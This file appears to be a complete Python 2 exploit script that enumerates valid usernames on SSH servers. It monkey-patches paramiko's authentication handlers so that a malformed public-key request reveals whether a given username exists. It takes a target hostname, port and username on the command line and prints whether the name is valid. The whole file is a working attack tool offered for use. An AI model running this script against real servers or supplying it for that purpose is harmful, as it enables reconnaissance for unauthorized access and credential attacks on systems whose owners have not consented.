84 lines
No EOL
2.6 KiB
Python
Executable file
84 lines
No EOL
2.6 KiB
Python
Executable file
#!/usr/bin/env python
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# Copyright (c) 2018 Matthew Daley
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#
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# Permission is hereby granted, free of charge, to any person obtaining a copy
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# of this software and associated documentation files (the "Software"), to
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# deal in the Software without restriction, including without limitation the
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# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
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# sell copies of the Software, and to permit persons to whom the Software is
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# furnished to do so, subject to the following conditions:
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#
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# The above copyright notice and this permission notice shall be included in
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# all copies or substantial portions of the Software.
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#
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# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
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# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
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# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
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# IN THE SOFTWARE.
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import argparse
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import logging
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import paramiko
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import socket
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import sys
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class InvalidUsername(Exception):
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pass
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def add_boolean(*args, **kwargs):
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pass
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old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
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paramiko.common.MSG_SERVICE_ACCEPT]
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def service_accept(*args, **kwargs):
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paramiko.message.Message.add_boolean = add_boolean
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return old_service_accept(*args, **kwargs)
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def userauth_failure(*args, **kwargs):
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raise InvalidUsername()
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paramiko.auth_handler.AuthHandler._handler_table.update({
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paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
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paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
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})
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logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
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arg_parser = argparse.ArgumentParser()
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arg_parser.add_argument('hostname', type=str)
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arg_parser.add_argument('--port', type=int, default=22)
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arg_parser.add_argument('username', type=str)
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args = arg_parser.parse_args()
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sock = socket.socket()
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try:
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sock.connect((args.hostname, args.port))
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except socket.error:
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print '[-] Failed to connect'
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sys.exit(1)
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transport = paramiko.transport.Transport(sock)
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try:
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transport.start_client()
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except paramiko.ssh_exception.SSHException:
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print '[-] Failed to negotiate SSH transport'
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sys.exit(2)
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try:
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transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
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except InvalidUsername:
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print '[*] Invalid username'
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sys.exit(3)
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except paramiko.ssh_exception.AuthenticationException:
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print '[+] Valid username' |